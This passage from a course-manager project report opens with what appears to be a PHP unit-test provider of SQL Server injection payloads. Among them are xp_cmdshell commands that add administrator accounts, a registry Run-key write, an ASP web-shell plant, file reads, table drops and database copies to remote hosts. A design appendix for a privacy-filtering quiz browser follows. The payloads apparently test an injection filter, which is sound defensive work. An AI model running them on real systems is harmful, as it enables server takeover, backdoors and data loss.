            array("and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND 
name ='xp_cmdshell')"), 
            array(";exec master.dbo.sp_addextendedproc 
'xp_cmdshell','e:\\inetput\\web\\xplog70.dll';"), 
            array(";EXEC master.dbo.xp_regwrite 
'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run','help1','RE
G_SZ','cmd.exe /c net user test ptlove /add'"), 
            array("and 0 <> db_name(1)"), 
            array(" and 1=convert(int,db_name())"), 
            array(";backup database newcrsmngr to disk='c:\\inetpub\\wwwroot\\save.db'"), 
            array(";exec master.dbo.xp_cmdshell \"copy c:\\winnt\\system32\\cmd.exe   
c:\\inetpub\\scrīpts\\cmd.exe\""), 
            array(";insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\\web\\index.asp';"), 
            array(";bulk insert temp(id) from 'c:\\inetpub\\wwwroot\\index.asp'"), 
            array("and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
<>0 "), 
            array("and (select count(*) from TestDB.dbo.user)>0"), 
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            array("and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))"), 
            array("'admin'=(SELECT System_user)"), 
            array(";use newcrsmngr2"), 
            array("and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and 
dbid=6)"), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and 
status>0 )>0"), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz'))>0"), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz',''))>0 "), 
            array("and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 
and name not in('xyz','',''))>0"), 
            array("and (select count(*) from user"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));"), 
            array("and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));"), 
            array("and 1=(SELECT IS_MEMBER('db_owner'));"), 
            array(";exec master.dbo.sp_addlogin username;"), 
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            array(";exec master.dbo.sp_password null,username,password;"), 
            array(";exec master.dbo.sp_addsrvrolemember sysadmin username;"), 
            array(";exec master.dbo.xp_cmdshell 'net user username password /workstations:* 
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';"), 
            array(";exec master.dbo.xp_cmdshell 'net user username password /add';"), 
            array(";exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';"), 
            array("create table cmd(str image);"), 
            array("insert into cmd(str) values 
('<%=server.createobject(\"wscrīpt.shell\").exec(\"cmd.exe /c 
\"&request(\"c\")).stdout.readall%>');"), 
            array("backup database model to disk='g:\\wwwtest\\l.asp';"), 
            array("and (select count(id) from user)>0 "), 
            array("and (select top 1 col_name(object_id('user'),1) from sysobjects)>0"), 
            array("and (select top 1 len(username) from user)=2"), 
            array("and (select top 1 ascii(substring(username,m,1)) from admin)=97"), 
            array(";create table Quiz(id int auto increment)"), 
            array(";insert into user (username,password） values ('admin','admin');"), 
            array(";delete from user where id = 1"), 
            array(";drop table user"), 
            array(";create table foo( line varchar(8000))"), 
            array("bulk insert foo from '~\\inetpub\\www\\login.php'"), 
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            array("declare @a sysname;set @a=db_name();backup database @a to 
disk='120.23.1.5bak.dat' ,name='test';"), 
            array("; EXEC master..sp_makewebtask \"\\10.10.1.3\\share\\output.html\", \"SELECT * 
FROM INFORMATION_SCHEMA.TABLES\""), 
            array("Exec master..xp_cmdshell 'dir'"), 
            array("Exec master..xp_cmdshell 'net user'"), 
            array("exec xp_regread 
HKEY_LOCAL_MACHINE,'SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters', 
'nullsessionshares'"), 
            array("exec master..xp_servicecontrol 'start','schedule'") 
        ); 
    } 
 
    public function singleWordCleanDataTestProvider(){ 
        return array( 
            array("select"), 
            array("select "), 
            array("DD"), 
            array("ji_zhu"), 
            array("drop"), 
            array(" drop "), 
            array("and"), 
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            array("2"), 
            array("1.0") 
        ); 
    } 
 
} 
Apendix-2 FlashQ Browser 
Appendix2.1 Introduction 
A web browser is a software application, running on the user’s client device that  retrieves and renders 
information from world wide web. People use web browsers for different purposes, for example, browsing 
information, watching videos, working and etc. Currently, major web browsers are Google Chrome, Firefox, 
and Internet Explorer. [31] The objective of the proposed FlashQ Browser is to provide a small foot print 
browser to enable students to attempt flash quizes on their hand held device. This browser would be used 
as a means to encourage attendance in lectures. Especially when the business oriented administrator 
depends on course evaluation made by students who hardly attend any classes. 
Devices exist, marketed by corporation which require students to buy some type of special purpose 
gizmo. However, we feel that this is a waste of funds and the intent of this browser is to be able for 
student to take flash quizzes during a lecture or tutorial, using a multi-purpose device they already own. 
 
The usual functions of a browser are: [32]  
1. Retrieve information from a user specified   uniform resource locator(URL) 
2.  Render the contents correctly  
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3. Handle interactions between user(client) and the service provider(server), such as GET request, 
POST request, PUT request and DELETE request.  
Modern browsers have developed over many versions to meet these objectives. Some browsers provide  
extra features like blocking most publicity by allowing users to install external modules called Add-
Ons/extensions on their browsers. [33] [34] [35] However, such extensions are not available for many 
mobile browsers. [36] When users use these mobile browsers, it is not possible for them to filter any 
annoying, ususally third party, contents, which wastes bandwidth, causes delays and leads to negative 
users’ experience.  
Users are helpless even though annoying third party contents interfere with the contents needed by the 
user, costs the user real funds and waste the little power in the batteries of these devices.  
 
In order to address the above problems, it is necessary that the user agent block some superfluous 
contents.  
Blocking requires the user agent to determine what information should be blocked. When a user types in 
an URL and press enter, the web page loading process starts.  
 
Figure Appendix2-1 Structure of URL 
On a web page, resources can be divided into two groups based on the URL: first party resource and third 
party resource. First party recourse is the resource that provided by the server at the domain specified in 
the URL. Third party resource is the resource that has different domain than in the URL. Typically, third 
party resources are advertisements, trackers and etc.  
To protect privacy, most browsers allow users to delete cookies and/or deny specific types of cookies. 
However, it is still not sufficient. For example, a privacy mode called incognito/in-private window 
protects users by deleting cookies when browsers exit. [37] [38] As this mode is based on deleting 
Secure CrsMgr: a course manager system 
 97 
cookies and caching on client side, it provides little help to stop any tracking which is on the server side, 
such as fingerprinting. [39] Moreover, HTTP/HTTPS protocol, specifies that every data package header 
should carry the browser information [40] That is, user’s platform and browsers’ information are sent to 
server. Without the use of add-ons, the user cannot hide the platform and browser information. Currently, 
extensions are not available on mobile browsers, which allow non-technical users to modify data package 
headers when they use mobile browsers. It is next to impossible to hide platform and browser’s 
information.   
 
To enhance the ability of mobile browsers to protect users’ privacy, there are two approaches that could 
be implemented. 
1. For content management purpose, the browser could ignore some URLs included in the response 
for the user specified URL. 
2. For platform hiding purpose, a browser provide  users features to control http header, because 
user platform information is set in each HTTP header. If browser is able to modify user platform 
information [40], user can set a fake platform information in the header.  
 
The above features could be implemented by adding an extra layer during the result rendering process. 
The extra layer uses the policy established by the user. The policy could be a blacklist plus a platform 
information randomizer. The blacklist may contain a set of top-level domains’ names that the user wants 
to block. The platform information randomizer would substitutes random  platform information for the 
actual platform  in every data. 
 To implement this layer, it is necessary to consider the web page rendering process. For example, Webkit 
[41], an open source web browser engine, is the kernel of the Safari browser and many other browser. Its  
rendering of  the  web pages is shown below in Figure .1 
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Figure Appendix2-2: webkit page loading [42] 
As shown above, a web page loading is separated into two pipelines. The left pipeline is used to load the 
main structures, document/page into frames.  The right pipeline is used to  load sub-resources including 
images, videos, scripts, and etc. [42]  Hence, to block third party resources, it is necessary to interrupt the 
sub-resource loading process. In android, this can be done by overriding the function called  
“shouldOverrideUrlLoading”. [43] 
 
Appendix2.2 FlashQ Browser:  design 
The design of new functionalities of FlashQ browser requires implementing two objectives: reducing 
bandwidth and protecting privacy. Hence the requirements for the Flash Q browsers are the following: the 
first six are functional requirements as in any current browser; the last three are the additional features. 
1. The browser could load, render and display typical webpages. 
2. The browser could handle interactions between web pages and users. 
3.  The browser provides interfaces to create, visit, save, edit and delete bookmarks. 
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4. The browser provides interfaces to view, revisit and delete history. 
5. The browser provides interfaces to create and close tabs, and switch between tabs. 
6. The browser provides interfaces to manage browser settings including control JavaScript, 
cookies, full screen. 
Function Requirement for reducing bandwidth load and privacy protection 
7. The browser provides interfaces that allow users to block third party contents. 
8. The browser provides interfaces that allow users to clean their browsing history, bookmark, 
setting. 
9. The browser could replace the real platform with random platform information in HTTP header. 
New requirements: 
1. The browser interface should be intuitive   
2. The browser should have fast response. 
3. The browser should be error tolerant. 
4. The browser interface should be well-structured. 
5. Users have the autonomy to control the information before browsers load or send out the 
information.  
For the general functionalities which almost the same across all browser, we will not discuss in this 
chapter. 
Appendix2.2.1 FlashQ Browser Conceptual Model 
Based on the requirements given above, the conceptual model of the browser is given below. 
Appendix2.2.1.1 Initial Set-up: 
Before using this browser, user could customize the settings.  The settings include setting up a blacklist, 
JavaScript setting and randomization. User can change this setting in setting view. FlashQ browser 
specific settings are discussed in following section.  
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Appendix2.2.1.2 Managing global setting 
Users can manage the global setting in the setting view. In the setting view, all browsers related setting 
will be listed vertically. User can change setting by clicking each setting’s name in the list. In order to 
clear all records including bookmark and history, users can simply click the button named clear records at 
bottom of setting view. A dialog window will display that asks users to confirm this un-revertible 
operation.  
 
 Appendix2.2.1.3 Filtering content 
There are three modes of filtering: allowing all content, blocking blacklist and blocking all third parties’ 
content. During browsing, users can change the mode by clicking the menu icon, and then dragging the 
seek bar at the top of menu. For blacklist, there are two types of blacklists, global and tab. The global 
blacklist can be considered as an initial blacklist when a tab is just created. Users can change the global 
blacklist in the setting view, by adding or removing domain name in the global blacklist. For the tab 
blacklist, when it is initialized, the domain names in the global blacklists will be added in the tab 
blacklist. Users can change the tab blacklist during browsing.  By clicking the menu icon and choose the 
button of blacklist, a dialog window will display on the screen, which will list all third party content 
domain name and blocking status of current web page. Users can add a domain name to blacklist by 
clicking on the status of that domain name. 
 
Appendix2.2.1.4 Hidden browser information 
User can set whether to hide current browser information. If user would like to hide his browser 
information, check a checkbox named hide browser information in setting view. All his browser 
information will be hidden. 
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Appendix2.2.1.5 In-class-quiz functionality 
This is an additional functionality for this browser. User can turn on “In class quiz” mode in setting view. 
While mode “In class quiz” is turned on, browser will carry current user geographical location and send it 
to CrsMgr domain. On CrsMgr side, if student try to visit in class quiz web page, CrsMgr will check 
following conditions: 
a. Is an in-class-quiz available? 
b. Whether student belongs to this class? 
c. Whether the IP address range is valid? (pre-set by instructor) 
d. Whether student geographical location is near-by the class room? (Collects and sends by FlashQ 
Browser) 
If all conditions above are true, CrsMgr will allow student to access in class quiz page. Otherwise CrsMgr 
will refuse student’s access request. 
 
 
Appendix2.3 The prototype walkthrough 
With the given conceptual model above, a high-fidelity prototype to fulfill such model is listed following: 
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Appendix2.3.1 Home view 
 
Figure Appendix2-3: Initial home view with often visit sites 
The home view is the entrance. When users open a browser or remove all tabs, the home view will be 
displayed on the screen. URL bar is at its top panel which is an input area for users to type in valid URL 
address or keyword. If users type in an invalid URL, the browser will use the default search engine to 
search given texts. The icon next to URL bar is the menu icon. By clicking that icon, a menu will display. 
The bottom panel is the control panel that aims at facilitating browsing. There are 6 icons at the bottom 
panel. From left to right is backward icon, forward icon, home icon, refresh icon, tabs icon, and add 
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bookmark icon. As no page has been loaded, all icons except home will be covered by a grey color filter 
and those icons are non -clickable.  
 
Figure Appendix2-4: Open setting when no page 
In the menu showed above, when users click setting, a setting view will display and allows users to 
modify global setting for the browser. When users click the bookmark, a bookmark view will display and 
users can manage the bookmark in that view. When users click history, the history view allows users to 
manage history records. When users click download, a download view will show and users can see what 
have been downloaded. 
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Appendix2.3.2 Bookmark View 
 
Figure Appendix2-5: Bookmark view 
The figure above is the bookmark view which users can manage the bookmarks. To add a new bookmark, 
users can click the “ADD” button which is located at the right bottom corner. After users click it, a dialog 
window will display as below: 
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Figure Appendix2-6: Add new bookmark dialog 
The dialog contains two input areas, bookmark name input area and bookmark URL input area. Users can 
type in bookmark name and URL respectively. After they finish typing, they can click “DONE” button. 
When “DONE” button is clicked, all the inputs will be validated by the input validation procedure. If 
invalid input is identified, an error message will display and focuses on the input area which contains 
invalid input. If both of input areas contain the invalid input, the dialog window will focus on the top 
input area, which is the bookmark name area. Like following: 
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Figure Appendix2-7 : new bookmark dialog error prevention 
As the figure shown above, as both input areas are empty which are invalid, error message is shown and 
focuses on the first invalid input area.  
 
If users input valid name and URL, a new bookmark will be added and the bookmark will refresh with 
new data set. As shown in the following figure: 
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Figure Appendix2-8 : bookmark view with new data set 
 
As the figure shown above, a new bookmark has been successfully added. However, because this page 
has never been visited, a place holder favicon will be placed at the left of the new bookmark.  
 
If users long click on a given bookmark, a dialog window will display as following: 
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Figure Appendix2-9 : edit bookmark dialog 
The edited bookmark dialog contains two input areas, the one for bookmark name and the other for 
bookmark URL. Users can simply just edit texts in the input area. Once users finish, they can click done 
button. All inputs will be validated. If any input area content is invalid, the error message will display as 
the following: 
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Appendix2.3.3 History View 
If users click on the history option, history view will display and all histories records will show as 
following: 
 
Figure Appendix2-11 : history view 
The history view contains top panel and list item area. In the top panel, there are 3 icons. From left to 
right, they are back to home view icon, deleting selected history records icon and calendar icon. If users 
click the calendar icon, a calendar dialog will show as following: 
 
 




Figure Appendix2-12 : Calendar for choosing date to filter 
User can choose the date and click “OK”. Once users click OK, the filtering process will be activated and 
the result will show in history view. 
 
If users want to delete multiple history records, they can check the checkbox on the right of each history 
record.  If more than one record is checked, the garbage icon on the top – right will be highlighted and 
becomes clickable. As following: 
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Figure Appendix2-13 : history view checked checkbox 
Once users click the garbage icon. The checked history records will be deleted and the history view will 
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Appendix2.3.4 Filtering 
The web page before filtering. 
 
Figure Appendix2-14 : Home view with web page loaded 
 
If users want to filter content in the page, they can click the menu icon which is located at the top-right 
corner, the tab control panel will show at the top of menu like below: 
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Figure Appendix2-15 : Home view open tab control panel 
 
If users want to block all third party contents, they can just swipe the seek bar at the top of tab control 
panel like the following, the page will reload the latest policy immediately. 
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Figure Appendix2-16 : Home view with block all third party policy 
To dismiss the menu,  users can  click the go back button  or anywhere on the screen other than the 
menu.  
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Users can block third parties’ contents basing on blacklist by swiping the seek bar like below: 
 
Figure Appendix2-18 :Tab control panel set to block blacklist 
 
Originally, tab blacklist only contains domains which exist in global blacklist. Users can modify the tab 
policy by clicking the # resource blocked texts. A dialog window will show in the following:  
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Figure Appendix2-19 : Tab blacklist dialog 
 
At the top left of the dialog window, the current page domain name is displayed. Each third party’s 
domain name will be listed below. For each third party’s domain name, if users turn the switch on, this 
domain name will be set in tab blacklist as blocking. In other words, if a resource URL has the domain 
name which is set to be blocked in blacklist, this resource will be ignored by browser.  If users check the 
checkbox on the left of each third party’s domain name and click “BLOCK at blacklist” on the top right 
corner, this domain will be added to global blacklist. if a switch for a specific third party domain has not 
been turned on, this tab allows this domain to be loaded into the web page. 
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Appendix2.4 Implementation  
The experimental mobile browser is called “FlashQ Browser”. It is an open source, which is open to forks 
and open to criticism. This browser is a native android application. It supports android platform versions 
from the android 4.1(Jelly Bean) to the latest. Around 94.8% android devices can use this browser. [44] 
This browser supports both tablets and cellphones.  
 
 
Appendix2.4.1 Feature of filtering third party content 
In this browser, saving bandwidth and protect privacy is based on filtration. This filtration has three 
modes: 
 
Allowing all contents: Nothing will be blocked and all resources can be loaded. It Includes 
advertisements, trackers and other resource files, such as videos and images. 
 
Blocking all third parties: All third party resources will not be loaded, including advertisements, trackers 
and other resource files, such as videos and images. 
 
Blocking blacklist: if the given domain exists in blacklist, it will be blocked, which Includes 
advertisements, trackers, and other resource files, such as videos and images. 
 
Appendix2.4.2 Third party domain filtering process 
The implementation of filtering third party’s content starts when users try to load a page, and it finishes 
when the page is loaded. The process can be described as the following steps: 
a. Start page loading  
b. Load page main structure (Main thread) 
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c. Start Loading resource in page (IO thread) 
d. Check the blacklist for current tab, accept/reject a resource loading request before loading a 
resource. If given URL’s domain name is no in tab blacklist, add the domain name of given URL 
as key in tab policy with value false. 
e. Finish Page Loading. 
Appendix2.4.3 Setting and Blacklist policy in open browser 
The browser has two types of settings (global setting, tab setting) and blacklist policies (global blacklist 
and tab blacklist) respectively.  
 
Appendix2.4.4 Global Setting and Tab Setting 
The global setting is a set of browser settings which are saved in database and loaded when browser 
program is initialized. The global setting can be changed in the setting view.  The global setting will be 
used during initialization of tabs.  
Tab setting is a set of browser settings cached in memory. It aims at allowing per-tab setting.  During the 
tab initialization process, tab setting gets the value from the global setting. Once tab setting is initialized, 
any changes in the tab setting will not affect global setting. Instead, changes can only affect the tab 
instance which it attaches to.  
 
Appendix2.4.5 Global Blacklist and Tab blacklist 
The global blacklist is a global key-value pairs saved in the database. This key-value pairs can be changed 
in the setting view and in the tab third party resources management dialog. The global blacklist is saved in 
the application local database. With the schema following: 
Blacklist (domain name: string) 
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The attribute domain name indicates the domain name such as bbc.com, bbc.co.uk etc. The subdomain 
part such as www, will not be saved in the blacklist. The global blacklist is loaded during the initialization 
of home view. When initializing a new tab, the tab policy gets all settings from the global blacklist.  
Tab blacklist is a key-value pairs attached to each tab instance. The key is at the top-level domain, and the 
value is Boolean. True indicates blocking and false indicates allowing. The initialization of the tab policy 
can add all domains existing in the global blacklist into tab blacklist and set those key’s values to true. 
During page loading, the browser will extract resource domain name from resource URL and compare the 
resource domain name with current page domain name. If the browser detects that the given resource 
domain name is different from the current page domain name and given domain is not existing in tab 
blacklist, it will add this domain into tab blacklist with the value false. This means that this browser will 
not block this resource. 
 
The tab blacklist can be changed by opening the third party resource management dialog. It will list all 
third parties that exist in the current web page. By switching the switch of specific third party domain, the 
policy for this domain will be modified accordingly. After this dialog is dismissed. Following operation 
will be executed by the browser. 
1. Check whether current policy mode blocks black list 
2. If it blocks black list, the browser will reload the page 
3. If it does not block black list, browser will simply do nothing 
4. Dismiss the dialog 
 
Appendix2.4.6 In-class-quiz mode 
This will be done during HTTP package exchange between FlashQ browser and CrsMgr. If the In-class-
quiz mode is turned on， it will carry current mobile device geographical location and send it CrsMgr. 
The geographical location acquiring is via android Location Manager library, [45] which provides 
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functionalities to get current location and listen location change event. Sending geographical location 
action happens during browser preparing HTTP request, the implementation is based on following logic: 
a. If in class quiz mode is turned on 
b. Get current user geographical location 
c. Create a new key value pair 
d. Set the key’s name as “current_geo”, and the value is current user geographical location 
e. Put this key-value pair in HTTP request header. 
f. Finally, browser sends this HTTP request 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
